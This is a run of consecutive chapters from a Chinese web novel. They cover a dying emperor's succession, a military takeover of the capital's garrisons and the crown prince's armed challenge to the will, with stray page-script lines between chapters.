黑袍男子只管低头走路,遇见站岗或是巡逻的侍卫盘查也不说话,只是将一块令牌模样的小东西从袖口里露出一个角来。盘查的侍卫只是看到那露出一角的小东西就立刻跪拜在地,然后就是立即放行,等那个黑袍身影走远了才敢起身继续干自己的事情,谁也不敢多说一个字。就这样黑袍男子一路穿过了许多道大门,在一处院落前停下了脚步。 院门前站了两排着甲的侍卫,这些侍卫的甲胄明显的不同于别处的侍卫。其中一个侍卫见黑袍男子在院门前停下脚步便走上前去,黑袍男子依旧是将那个小东西露出一角来给那侍卫看了,侍卫也依旧是连忙跪拜。不同的是,这一次侍卫盘查完毕后并没有让路放行。黑袍男子又将一个信封从袖口里伸出来,那侍卫接过信封后看了一眼信封上的字,然后立刻转身往院子里快步走去。不一会儿那名侍卫便从院子里返回,向黑袍男子行礼后放行。 进入院中,有两排侍卫从门口一直站到了正屋前的台阶下,屋门口连同两边的回廊下都站满了着甲的侍卫。黑袍男子微微抬头看了下院内的情景,然后迈步向前走去。刚踏上屋门前的台阶,屋门就吱扭一声打开了,从屋里走出来一个头发胡须皆是灰白的老者。老者略有些驼背,穿一身灰白衣衫,向黑袍男子抱拳一礼后两人一前一后进入了屋内。 一股寒风夹带着雪花从门外吹了进来,黑袍人进得屋内在门口站定环视一周。屋子正中摆了一个圆桌,还有两人站在桌旁。其中一人身姿挺拨,面色酱红,黑发黑须,罩一件黑色长衫,蹬一双皂色长靴。另一个人生的人高马大,落腮胡子,两鬓略有几丝斑白,着一身轻甲,将一顶头盔夹在身侧。 两人见黑袍男子进来忙上前见了礼。这时那黑袍男子才将罩在头上的帷帽慢慢地褪下,露出了庐山真面目来。那是一张棱角分明,面容刚毅的脸庞,不是西梁王是谁? 屋内的三个人也都是大周王朝的肱股重臣。那位出门迎接西梁王的灰发老者名为王闻兴,官居太傅之位,乃是一位三朝元老,在朝中声望极高。穿黑色长衫的是当朝宰相张居?,乃是两朝老臣,人称张太宰。别看他一丝白发都没有,其实已是年过七旬之人。另一个身穿轻甲夹着头盔的是大将贾奉德,统领京郊四营中的玉泉山及黄牛岭两处军营。 待王闻兴王太傅关好屋门后西梁王开口问道:“我皇兄呢?他现在情况如何了?” 宰相张居?回道:“陛下就在里面,王爷这边请!”说完略略躬身伸手一引。西梁王顺着他指引的方向快步向内室走去,身后张居禄等三人也跟了进去。 进入内室,有几个宫女宦官正在内伺候着,见西梁王进来连忙退到两旁。王太傅轻轻挥手,宫女宦官们依次退了出去。 屋内灯光昏暗,床上的明黄锦被下盖着的是一个面色晦暗,形容枯槁的老人。说是老人,其实他的年纪也就刚过六十,只是常年的病痛折磨才让他变成了这幅模样。老人头发稀疏花白,双目紧闭,呼吸微弱。这就是大周王朝的皇帝,西梁王的同胞亲哥哥,武暲。 西梁王来到床前看到床上哥哥的样子,一时间难忍心中的悲痛,以往与哥哥的一幕幕在脑海中接连浮现,不由得流下两行热泪来。 西梁王跪在床前伸手在锦被里拉住了哥哥的手,悲戚的轻声呼唤道:“哥哥,哥哥,我是昭弟呀!” ……。 “哥哥,你睁开眼看看我,我是昭弟,我来看你来了。” ……。 一连唤了几声,形将就木的老皇帝这才睁开了双眼。 见哥哥终于睁开了眼睛,西梁王有些激动的连声叫着哥哥。老皇帝睁着混浊的双目看向自己的弟弟,他伸手想要去抚摸他,奈何他太虚弱了就连抬起手臂都十分困难。到底是兄弟连心,老皇帝刚一动手臂西梁王就明白了他的意思,他连忙用双手握住哥哥的手并顺着他的劲儿将那只枯槁的手放在自己的脸庞上。 “昭弟……我……终于……等……到你……你了。”老皇帝使出浑身的力气才坚难的说出一句话来。 西梁王流着泪说道:“是,是,我来了,哥哥,我来了。” “经……儿……呢?”老皇帝问道。 王太傅走到门口向外招招手,从客厅对面的另一间屋子里跑出来一个约么三十岁上下的素衣男子。看其长相与西梁王有几分相似,乃是老皇帝的第五子,单名一个经字。 西梁王看到武经后心中已然知道了他现在的身份,只是稍微感到有点意外,不过很快也就明白了,在心中暗自的点了点头。武经天资聪颖,性格良善,从不参与众皇子间的明争暗斗,在外素有贤名,只是有些胆小怕事,不过这不是什么太严重的缺陷,在这众多的皇子中倒还算是一个不错的继承人。 五皇子一路跪在地上爬到了老皇帝的床前口中一边叫着“父皇,父皇……。”一边哭个不停。 这时宰相张居?从袖口中取出一封密信来对西梁王说道:“王爷,太子殿下经营多年耳目众多,先前的密信中所述乃是为了掩人耳目。” 西梁王听到他的话后点了点头。张居?见西梁王点头后便站直身子正色道:“五皇子武经,西梁王武昭听旨!” 二人闻言跪拜听旨。 张居禄接着念道:“五皇子武经,天资聪颖,温厚贤良,颇合朕心,今传位于五皇子武经。西梁王武昭辅保大位。钦此!” 五皇子闻旨面色一变:“父皇将这幅重担交于儿臣,儿臣怎么担得起啊!怕是过不了几天儿臣也要随父皇而去了。”说着就在老皇帝的床前哭了起来。 张居?俯身安慰道:“殿下不必过于担心,有王爷辅保定会安然无恙。”五皇子闻言将希冀的目光投向西梁王。西梁王轻轻的拍了拍五皇子的肩膀然后将目光转向老皇帝,老皇帝伸手,西梁王双手握住了老皇帝的手。 “经儿……就……交……交……给……你……你……你了。”老皇帝说话越发的费力了。 西梁王用力点头回道:“哥哥放心,我定会保经儿顺利继承大位!” 听了西梁王的话老皇帝那双混浊无神的眼中终于露出了一丝欣慰的神彩来。 ……。 老皇帝到底没有挨过多少天,这一天东方刚刚露出一线鱼肚白时,老皇帝归天了。 随着老皇帝的去世,大周王朝的天换了。 到底西梁王能不能顺利的保取新皇上位,杨笑又在这之中经历了什么?欲知后事如何,且听下回分解! ???????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十四回 兵变(一) 兵变 冬日的圣京城并不会十分的寒冷,却常常会有雪花飘落。这是因为从西北吹来的冷风被二界山挡住了大半,而从东南来的暖流又被分天岭挡去了大部分,两股被削弱了的气流夹带着水气在关东平原的上空相遇,最后谁也奈何不了谁,只能化作雨雪纷纷扬扬的撒下来,滋养着这片肥沃的土地也不知道有多少万年。圣京的雨雪虽多,不过通常都不怎么大,但这个冬天的雪却下的分外的频繁,分外的大。 现在的圣京城内,不管是皇宫禁军还是守城的城防军全都在频繁的调动,这使得城内城外到处都弥漫着一股紧张的气息,就连最普通的城门兵都感受到了这份不一样的气氛,站岗时一个个的都瞪大了眼睛不敢偷一丝懒。 皇宫的城墙跟下,一个站岗的侍卫打了个大大的哈欠,使劲儿的晃了晃脑袋,好驱赶走那如潮水般袭来的困意。这里是整个皇宫里最不起眼的一个小门,平时都是一些杂役还有宫内负责运送垃圾夜香之类的一些人从这里进出,那些高高在上的大人们,很少有人在意过这个地方,更不要说从这里进出皇宫了。 能在皇宫大内当差的,那怕是最普通的禁军侍卫,在穷苦百姓的眼里那也是一份了不得的美差,有着不菲的收入和优越的生活。这不,这个年轻的禁军侍卫刚新婚不久,娶了一个可以算得上是百里挑一的小娇娘。 新婚燕尔,每日里自然是少不了鱼水之欢。年轻的侍卫上卯前刚刚经历了一番颠鸾倒凤,哪儿还有足够的精力来熬过这无聊的漫漫长夜,于是困意来袭时那哈欠便没完没了的一个接着一个的打着。 一旁的同伴年纪稍长一些,被年轻侍卫的哈欠勾的也打了两个哈欠。年长的侍卫揉了一把脸调笑道:“你小子白天是不是力气出多了,这会儿盯不住了吧?” 年轻的侍卫有些不好意思的嘿嘿一笑:“哪有?哪有?” “就你小子这德行我还能不知道?”年长些的侍卫接着调笑道:“娶了个新媳妇儿也不知道省着点用,生怕隔天就被人抢走了似的。” “我跟你说,这节骨眼儿上可不能让人抓着。”年长些的侍卫提醒道。 “哪能的事儿!您老哥当年还不是……嗯?嘿嘿嘿……。”年轻侍卫嘴上也不吃亏,同样的开起了同伴的玩笑。 ?两人就这么压低了声音小声地嘀咕着,时不时的夹带上一两句荤腔,两个人都会心的一笑。就在两个人小声的开着玩笑打发这无聊的寒夜时……。 “……有人来了……。” “站好,站好……。” 有一队着甲的侍卫踩着积雪走了过来。 “二位兄弟,我们是来替班的,你们可以去休息了。”这队甲士走到二人跟前停下脚步,为首一人说道。 “啊?替班?没听说要让我们换班呀?”年长的侍卫疑惑道。 “嗨!这不是上头的临时决定嘛,现在这个情况……这还不是正常呀?咱们这各处岗位调动的还少吗?”来人解释道。 “也是。”守门的侍卫点点头。 “这样吗?……。”年轻的守门侍卫有些意外。 “嗨!这不是上头说的嘛,我们接到的命令就是让我们这么转告二位的,二位兄弟要是不信可以自己去问嘛。”为首的侍卫接着解释。 “几位兄弟看着有些眼生啊?”年长些的守门侍卫往队伍后面看了看说道。 “我们一直在北门上卯,跟你们本来就不是一队人,平时没什么交集,当然面生了。”为首甲士有些不奈烦的样子:“要是不相信的话,那二位就接着在这儿站着吧,也好跟我们做个伴儿。”说完就往一旁选了个位置站好,后面的甲士也跟着就要分位站开。 “哎~!我们不是那个意思啊!呵呵,不是那个意思,别生气,别生气。”年轻的守门侍卫见状把眼珠子一转,连忙上前说道。说完又转过来将那年长些的守门侍卫往旁边拉了拉劝道:“老哥,他们要接咱们的岗就让他们接呗!你看啊……。”年轻侍卫在同伴的耳边一阵嘀咕:“……这个节骨眼儿上咱还是多一事不如少一事,您说是不是?” 年轻侍卫之所以这么一番劝说,一是现在各岗调动本就频繁,临时换岗的情况也不少见;二来这几个人不定是奉了哪方势力的指使,不管是哪方势力他们都得罪不起;第三嘛,他可还惦记着家里的美娇娘呢! 年长些的侍卫听完后点点头说道:“行!这回就听你的。” 年轻的守门侍卫见同伴点了头,便转身对那为首的甲士说道:“既然如此,那就辛苦几位了。” 为首甲士显然不愿再多说,摆摆手不耐烦道:“走吧,走吧。” 二人于是敲开门叫上里面的两个同伴一起走了。 ……。 圣京城西,白虎门。几个守城门的小卒缩在耳洞内躲闭着外面的风雪。几个人绻缩在一起正睡的迷迷糊糊的时候,从外面进来一名小军卒。小军卒拍了拍一个斜靠在角落里睡觉之人的肩膀轻声叫道:“头儿!头儿!快醒醒,来人了。” 那个睡的迷迷糊糊的小头目睁开眼看了看那军卒打了个哈欠,然后咂吧一下嘴不急不慢的说道:“啧!哎呀!二牛子,爷正做梦吃席面呢!这……还没到换班时间吧?……。” “头儿,来人了,来了几匹战马,后面还跟了好些人。”小军卒提醒道。 “哦?哦,都叫起来,都叫起来,去……去看看。”那头目立刻来了精神,一边起身一边说道。 “起来!起来!都起来!”小军卒将耳洞内的人挨个叫醒。 ?出了门洞,守城的小头目眯眼望向前方,借着街上的灯光可以看到风雪中一队人马迎面而来,约么有一两百人。守城的小头目嘀咕道:“这大半夜的,这么多人来这里干吗呢?别再有什么事儿了。” 等这队人马走的近些了守城的小头目开口叫道:“哎!你们是干什么的?别往前走了!” ?来人回答道:“城防司,奉命宣令!” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十五回 兵变(二) 一听说是城防司来人那小头目便觍着笑脸想要上前套个近乎,谁知那人跟本不给他这个机会,不等他开口便直接问道:“值夜将领何在?” 对于对方的傲慢,守门的小头目丝毫不敢有意见,连忙陪着笑回答道:“原来是上峰来人,将军就在城楼上。” 领队将领挥挥手,身后冲出两队人马来把看守城门的士兵们全都围在了中间。 守城门的小头目立刻警惕道:“你们要干什么?” 那将领轻笑一声道:“我们也是奉了城防司的命令,不得不委屈几位一会儿,放心,决不会伤你们的性命,还望几位莫要反抗。”说完就将这些守城小卒全都押进了耳洞内,同时已有一队人马城楼而去。 上至城楼,有值夜的军卒见闯上来许多人,立刻挚矛喝道:“什么人?” 来人取出一块令牌来回道:“城防司传令!无关人等退后!” 值夜的将领听到外面的动静刚刚起身,就见从门外闯进来一堆人,值夜将领惊道:“你们是什么人,竟敢……。” 不等他说完来人就把一块令牌在他脸前一晃:“认得吗?”值夜将领看了那令牌一眼刚要说话,那手持令牌的将领便喝道:“拿下!”立时有人上前将那值夜将领按在了地上。 值夜将领挣扎着道:“你们是什么人?要造反不成?竟敢……唔……唔……。”叫到一半就被人堵住了嘴。 那人把手上的令牌慢慢塞入怀中冷哼道:“造不造反的你说了可不算。” ……。 城南渭河水军大营。一队人马急驰而来,到了营门口被值夜的军卒拦了下来:“下面的是什么人?” 来人手举一块令牌喊道:“上谕!快开营门!” 进入营门后这队人马直奔大帐而去,擂鼓升帐,很快营中各路将领全都到大帐中集合听调。见升帐的是一个陌生面孔,闻讯赶来的将士们一时间有些面面相觑。其中一个中年将领出列行礼道:“不知这位将军何事升帐?” 上首案几后站了一个年轻将领,身着黑甲,手挚一根金色卷轴,将下方众人扫视一圈后不急不慢的说道:“等人到齐了自然就会知晓。” 话音刚落就听见从帐外传来一声怒吼:“何人击鼓升帐?”紧接着就从外面进来一个精壮高大的中年汉子,来人金甲金盔,正是水军大都督何茂升。在他身后还跟了几个人,显然是其心腹。 何茂升原是渭河水军的一员偏将,原本在渭河水军的众多将领中并不如何显眼,可前些年不知怎么的就搭上了太子这条线,再加上他的一番运作,于是就一路官运亨通一直坐到了水军大都督的位子成为了太子的心腹。一时间在水军中是嚣张跋扈,风头无两。 何茂升进入大帐,见有人占了自己的位置便一指来人不悦道:“你是何人?竟敢私自升帐?” 上首案几后的黑甲年轻将领把手中卷轴举了举傲然道:“上谕!还不跪听!” 何茂升这才看到对方手中的卷轴,先是神色一骇,一时间脸上难免有些难堪。何茂升眼珠滚动一圈后缓缓下跪道:“何茂升接旨。” 接着营帐内的大小水军将领们也跟着跪了一地。 只见年轻将领缓缓打开卷轴念道:“着,革去何茂升水军大都督一职,旨到之时即刻交接。钦此!” 何茂升闻言腾的一声从地上站了起来,用手一指那传旨的年轻将领怒道:“不可能!你这圣旨从哪来的?”说道将手一伸:“拿给我看!” 那年轻将领冷笑一声,将圣旨一下抖开:“你看清楚了!” 下方众将都向那年轻将领手里的圣旨看去。 “啊!圣皇宝印!”有人惊呼出声道。 何茂升心中一惊,不过他很快就镇定了下来。太子爷早有吩咐,渭河水军十分重要,让他勿必牢牢掌握,又怎么会在这个节骨眼儿上罢了他的兵权。只见何茂升将脸一拉,冷声道:“圣皇陛下早已病重,如何下旨用宝,分明是假传圣旨!你究竟是何人,如此大胆!” 那传旨的年轻将领也不惊慌,冷笑道:“听清楚了,我乃西梁虎威将军杨笑!” 原来,来人正是奉了西梁王命,带着圣旨来取渭河水军兵权的杨笑。 何茂升听到杨笑自报家门后竟是一笑:“我当是谁呢!原来是你这个吃软饭的小子。哈哈哈……。”何茂升与他的心腹们笑的前俯后仰。 杨笑等他们笑过之后缓缓道:“笑够了吗?笑够了就把兵符将印交出来吧!” 何茂升止住笑声盯着杨笑说道:“你这吃软饭的西梁小子还想要兵权?”说着“仓啷”一声抽出腰间长剑一指杨笑喝道:“此人假传圣旨,图谋不轨,众将与我拿下!”其身后心腹大声应道:“是!”紧接着“仓啷,仓啷”响起一片刀剑出鞘之声。 杨笑见对方抽出兵刃来却是丝毫不露惧色,将圣旨握在手中说道:“我有圣旨在手谁敢放肆!” “假传圣旨还敢放肆!”何茂升说着就要举剑上前。杨笑哈哈大笑一声:“就凭你们几个?莫说我有圣旨在手,就是没有圣旨你这水军大营我也是想来就来,想走就走!”说完冲帐外叫一声:“来人!” “呼啦啦从”帐外进来许多西梁甲士将何茂升等人围在中间。 一时间屋子里到处都是人,到处都是明晃晃的刀剑,偌大的水军大帐竟显得狭小局促起来。 这两方人马对峙起来,把一旁那些不是何茂升心腹的水军大营的将领们弄的有些不知所措了。一个年轻些的水军将领看来看去,悄悄的将手放在了腰间的刀柄上。他旁边的一人悄悄的碰了碰他低声道:“别乱动,再等等看。”这人比他年长几岁,二人平日里私交甚好,他也很是敬重这位如兄长般的胞泽。听了身旁胞泽的话,这位水军将领又把握住刀柄的手收了回来。 对峙之下何茂升先沉不住气了:“动手!”其手下心腹分分大喝一声与面前的西梁军撕杀在一起,而何茂升则提剑直向杨笑扑去。 何茂升跃至杨笑跟前隔着案几就是一剑直刺杨笑心窝。杨笑轻轻躲过这一剑,何茂升又是一剑刺出,杨笑后退两步一躲再躲。何茂升见数击不中纵身跃起就要追击。而杨笑先前接连后退,案几后面本就地方不大,此时的杨笑后背距墙壁只有尺许,已然是退无可退。 何茂升心中暗喜:“你这吃软饭的小子就知道躲,这下我看你还往哪躲。” 这边杨笑见何茂升跃身而上,趁着他下盘腾空,于是躲过剑峰用手中的卷轴只在其脚踝处一扫一带。何茂升下盘失稳跌坐在案几上,手中的剑也失了准头,杨笑趁机一步上前直取其胸口。何茂升只觉眼前人影一闪,心中惊道:“不好!”紧接着心口便受了一记。 何茂升受了杨笑一击,整个人腾空而起,向后倒飞而去,然后重重的摔在了地上,接着又擦着地面向后倒滑而去。沿途接连撞翻了几个人,最后翻了个跟头,这才在大帐门口处停了下来。要不是门口的高门槛挡住怕是要滚出门外去了。 何茂升爬在地上挣扎着要身,不料尚未起身竟一张口“哇!哇!”地吐出几口血来。只一击便身受重伤无力再战。 何茂升抬头望去,只见那年轻人依旧在案几后负手而立,就像什么事都没有发生过一样。何茂升心中骇然,他自己也算是军中好手,可刚才他甚至没有看清对方是如何出手的。他心中不能不骇然:“这小子身手怎地如此厉害,西梁这是出了个什么怪胎!”想到这里何茂升心中生出一种绝望来:“这还怎么打!” 此时双方之人都已停止了打斗,何茂升带来的心腹一个个看看杨笑又看看何茂升,不知该如何是好。此时只听杨笑沉声道:“来呀!剥盔卸甲与我绑了!”于是何茂升等人转眼的功夫就被绑的如同那秋天里的大闸蟹。 见何茂升等人被制住刚才还躲在一边旁观的一众人立刻上前跪拜道:“参见大都督!” 杨笑说一声“好”下令道:“众将听令!关闭营门,一只苍蝇都不许放出去!” 众将齐声应“是!” 于是渭河水军大营关闭营门,锁住战船,全营戒严了。等一切都做完后东方的天空也露出了一丝曙光来,此时从圣京方向传来了一阵阵的钟声。 欲知后事如何,且听下回分解! window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十六回 传位诏书 传位诏书 在这个寒冬的拂晓老皇帝去世了,此时东方的天空刚刚露出一线鱼肚白来。 “皇上驾崩了!” “皇上驾崩了!” “……” 一声声,一遍遍,老皇帝的死讯从那个小小的院落向皇宫外传递出去。 “当~当~当~……。”沉闷的丧钟声一圈圈的荡开来,传遍了京城的每一个角落,也从京城向大周的每一寸疆土传去。 “咚!……咚!……咚!……。”鼓楼上也响起了沉重的鼓声。 圣京城内所有的人都听到了皇帝的死讯。对于大多数穷苦百姓来说这不过只是一个消息而已,自己的日子该怎么过还是要怎么过。对于那些对老皇帝感恩带德的,听到这个消息后也不乏悲痛之情如丧考妣的。而那些痛恨当朝的自是感到一阵快慰,说不定还要骂上几句“死的好!” …………。 京郊玉泉山,贾奉德盖着一条貂皮大氅斜靠在床榻上。 “将军,京城方向有消息了。”一名侍卫走进大帐轻声说道,生怕惊到榻上的人似的。 “知道了。”贾奉德嗯了一声。 那侍卫见榻上的人摆了下手知趣的轻轻退了出去。 贾奉德先是轻吸口气又长长的吐了口气,然后起身走出门外。透过晨曦望向圣京方向,此时正有阵阵钟声从那边悠悠的传来。贾奉德打了个哈欠舒服的伸了伸腰,侍卫上前为其披上那条貂皮大氅询问道:“将军,咱们是否立即出发?” 贾奉德拿手指轻轻敲着栏杆说道:“出发?出什么发?不急,不急,要等他们挣够了,打累了咱们才好露面。” 这名侍卫可不是一般的侍卫,乃是贾奉德真正的心腹死士,贾奉德能坐到今天的位置上,其中许多见不得光的事情和手段就是眼前的侍卫办下来的。 “将军真是高见。”侍卫听到贾奉德的话后恭维道。 此时一骑轻骑飞驰而来:“报!禀将军,塔峪大营出现骚乱!” 塔峪大营其实是玉泉山大营的一部分。 不等贾奉德开口又有一骑飞驰而来:“报!禀将军,黄牛岭大营有人率众叛乱!” 一旁的侍卫闻言眉头一皱望向贾奉德:“将军,这……。” 不料贾奉德不惊反喜道:“哈哈哈……好!好!”贾奉德连叫两声好:“真是乱的好!正愁没有好借口呢。”贾奉德一把将身上的貂皮大氅掀掉,伸开双臂叫道:“来啊!披甲!传令!随本将前往平叛!” …………。 皇帝的死讯一经传出各个皇子皇孙,各路文武大臣都在第一时间向皇宫赶来。各处明里暗里的人马也是闻风而动。 皇宫内众皇子皇孙,各宫嫔妃,各支皇族宗室以及在京的大小官员将个小院子塞了个满满当当。院子实在是不大,人也是太多,以至于大多数人只能跪在院门外。所有的人都在嚎嚎大哭,甭管真哭假哭吧,反正是哭的挺热闹的。 时辰一到,将老皇帝入了殓,棺椁移到灵堂,摆好灵堂后众人又是一阵痛哭。 灵堂内众皇子嫔妃跪地痛哭,人群里的五皇子边哭边偷偷的望向站在不远处的西梁王,见西梁王小心的示意他放心,五皇子这才稍稍定了定神继续痛哭起来。 看看时辰差不多了,宰相张居?上前几步,面向众人伸开双臂示意众人禁声。灵堂内外很快便一片寂静,落针可闻。 张居?望向众人汇聚来的目光开口道:“陛下归天,我等皆甚为悲痛,陛下音容笑貌犹如当面,诸位悲痛之情世人可鉴,还请几位皇子皇妃节衰。”说完向众人躬身一礼,众人亦回礼。 张居?接着说道:“吾等虽心中悲痛,然国不可一日无君,我大周社稷不可动摇,大周的万千子民还需要新皇来统领。”张居?说罢自袖口内取出一个粟色的小匣子来。那小匣子外面缠了一条金黄丝带,丝带上贴了好几道封条只露出匣子的两头来。 张居?双手端着小匣子望向众人道:“这里面就是陛下留下的传位遗诏,还请大主祭近前察看封贴是否完好。” 一位满头银发的富态老者从人群中走出。大主祭是负责管理皇族宗祠的皇室成员,由德高望重之人担任,其主要的职责就是主持每年的大小祭祀活动以及管理皇族各支脉间的大小事务,相当于皇族的族长。大主祭在皇位继承这件事上属于中立派,由他老人家出面查看封贴没有人会有意见。 宰相张居?把那小匣子放在灵前的供桌上,然后侧身站立一旁。大主祭走上前却并没有去看那小匣子,而是转身道:“西梁王殿下与陛下最是亲近,也请殿下上前查看。”西梁王走出人群,大主祭又说道:“大司马也上前查看。” 一个清瘦高挑的老人从人群中走出。老人年岁大了,头上的白发也早已稀疏,却没有半点驼背的样子,步伐也很是矫健。大司马在朝中主管军中物资粮草调度以及各处新兵招募,是一位实打实的实权人物。他可是太子的心腹之人,更是太子的老师,谁都知道他会支持谁。 待两人在身边站定,大主祭又询问道:“还有谁也想要上来查看的吗?”大主祭连问三遍都无人答声。大主祭又道:“没关系。有想要看的尽管上前来,必经兹事体大。”大主祭向四下人群扫视几眼,见依旧无人答声便说道:“既如此,就由我等三人共同查看。”说完转身向西梁王与大司马道:“二位先请。” 两人皆拱手谦让:“大主祭先请。” 大主祭拱手道:“那老夫就不客气了。” 大主祭走上前双手拿起小匣子来来回回小心又仔细的看过后说道:“头道封贴完好,老夫没有异议。”说完把小匣子又轻轻的放回原位。接下来换西梁王上前查看,然后是大司马。二人看过后同样没有意见。 三个人都看过后张居?上前道:“既然三位都没有异议,那在下就要拆开这第一道封贴了。” 大主祭示意道:“张太宰请。” 张居?于是捧起匣子向众人展示一番然后当着众人的面拆开了第一道封贴,将拆下的封贴再次展示一下。“现在我要解开这条绸布了。”把那条缠在小匣子外的黄绸解下来后递给大主祭道:“还请大主祭查验信印。” 大主祭等三人看了那绸布上的信印都表示没有不妥。张居?再次把小匣子放回供桌闪身到一旁道:“三位请查看第二道封贴。”三人又依次上前查看,依然是没有异议。张居?再次当众展示一番,再次当众拆开封贴。第二道封贴拆开后就可以打开木匣了,打开木匣里面是一个金色卷轴,卷轴上还有一个封贴缠在上面。张居?把小木匣内的事物给三人看了,询问道:“三位可以查看第三道封贴了吧?” 大主祭点头道:“没问题。” 张居?把木匣放回供桌把木匣的四壁拿掉,里面的卷轴就完全的展示在众人眼前了。大主祭三人又依次看了也都没有意见。至此,大周王朝传位诏书外的三道封贴一件信物全都查验完毕,接下来就要宣读诏书了。 张居?把最后一条封贴拆掉后,站于众人之前手捧卷轴举过头顶高声道:“陛下遗诏!” 哗啦啦……!所有人都跪倒在地,没有人敢发出那怕是一丝的声音,众人都知道最重要的时刻就要来临了。 张居?高举那金色卷轴向老皇帝的灵柩行三叩九拜大礼,众人亦跟随跪拜。行礼毕张居?面对众人缓缓的打开了传位诏书朗声道:“皇位传于第五子,武经!钦此!”只简简单单的一句话便决定了大周王朝最至高无上的位置的归属。 “不可能!”张居?话音刚落就有一个怒气冲冲的声音响起。 究竟皇位交接会发生什么样的事故?欲知后事如何,且听下回分解。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第七十七回 混战圣皇城 混战圣皇城 上一回说到宰相张居?刚念完圣旨便有一个声音大呼不可能。 这一嗓子吼声就如同一道惊雷在众人耳边炸响,循声望去原来是太子站立当场满脸的怒气。不等人群反应过来太子已然一步跨出,来到张居?面前劈手就把传位诏书夺了过来。太子将诏书上的字看了又看,越看越是恼火,看到最后把那份诏书往张居?身上一摔咬牙切齿道:“这诏书是假的!”说罢夺门而出。 来至殿前广场上太子大声喊道:“禁军何在?” “有!”四周立时一声齐应,声势浩大。 “传位诏书遭人篡改,给我封禁皇城,任何人不得出入!” “是!” 一声锐啸冲天而起,“啪”的一声炸作漫天星辰,一个特殊的图案显现出来。在这晴空中都能炸出这般清晰的图案来,可见这枚烟火的不俗。 哗!哗!哗!哗!……!一队披甲侍卫很快来到太子身后。这些甲士装备精良,队形步伐整齐划一,其精锐可见一斑。立刻有人为太子披上战袍,递上长枪。而此时广场上原来跪着的大小官员还有宫女宦官们早已跑的没了踪影。 西梁王等人也来到殿外。望着下方的太子西梁王开口问道:“太子殿下这是要做什么?” 太子挚枪叫道:“诏书有假,本太子自然是要维护我武周基业。” 这时大主祭上前一步劝道:“诏书经我三人一同查验,怎能有假?太子殿下这是何苦呢?” 太子将长枪往地上一杵厉声道:“我代父皇监国多年,父皇断无将皇位传于他人的可能,可见这诏书有假!” 大主祭又劝道:“你不信我等难道还信不过你的老师吗?大司马?大司马何在?” 大主祭左右寻找大司马,哪里还有大司马的身影。原来大司马不知什么时候早已来到广场上的甲士中间,此时的大司马亦是身披战甲。 大主祭有些语噎道:“大司马你……。” 大司马冷哼一声道:“太子殿下代陛下监国这么多年,这皇位本就应该是太子殿下的。现在,太子殿下不过是要拿回自己应得的东西罢了。” 太子把手中长枪向前一指喝道:“把这大殿围起来,一个也不许放走!” 五皇子早已是吓得瑟瑟发抖,只见他悄悄的扯了扯西梁王的衣袖小声道:“叔叔,这下可怎么办?” 西梁王拍拍他的手示意他不要紧张害怕,然后走出人群向太子问道:“太子殿下当真要如此?” 太子直接回道:“你觉得呢?”竟是连一声叔叔都不肯称呼了。 西梁王再次劝道:“你现在收手还来得及。” “哈哈哈……。”太子大笑道:“我说老五怎么这么有志气了,原来是找了九叔你这个大靠山。” 西梁王叹口气,向身后招招手,立刻有许多披甲卫士从殿后涌出将西梁王等人围在身后,大殿的基座上满满当当的围了一层又一层的人,直将大殿围了个泼水不进。 这些披甲卫士个个黑盔、黑甲、黑靴,连手中的兵器都是黑色的,只有那闪动着寒芒的刀刃雪亮无比。 “西梁玄甲卫!”太子望着这些甲士皱了皱眉头有些吃惊的自语道。 西梁玄甲卫乃是西梁王四大亲卫营之一,大统领正是杨笑的好友梁赞,不过这次梁赞并没有来圣京,玄甲卫也只是来了一部分。 太子接着道:“九叔难道用这些玄甲卫就想阻挡我?” 西梁王笑咪咪的说道:“足矣!足矣!” 多说无益,一切都还是要看手上的真功夫才行。“杀!”太子大喝一声,身后大军蜂涌而上,一时间整个皇宫中杀声震天。 最前排的玄甲卫们把一面大盾牌挡在身前,太子军刚一近前,忽的从盾牌后捅出一根根的长矛来,顿时冲在前面的太子军就有许多被捅了个透心凉。不断的有长矛捅出又抽回,不断的有太子军倒地不起,但这并不能吓住对方,太子军依旧是接踵而至,很快就开始冲击前排的盾阵。 眼见盾阵就要被冲破,只听一声“放!”最后方的玄甲卫射出一排排的弩箭,弩箭如雨点般落下,一时间太子军中惨叫连连。这时又是一声“放箭!”从宫墙上也射出许多的弓箭来,玄甲卫中也有许多人中箭。 玄甲卫一边挚起一张盾伞阻挡射来的箭矢,一边不断的还击,双方一时你来我往僵持起来。玄甲卫虽然厉害,但一味的处于防守的位置,形式十分的不利,而太子的人马又实在是太多了,不断的有人从宫门处涌入。终于最前面的盾阵被冲破了,盾阵后的玄甲卫立刻将手中长矛掷出,纷纷抽出腰间的西梁刀来,冲入敌军阵营与敌军混战成一片。 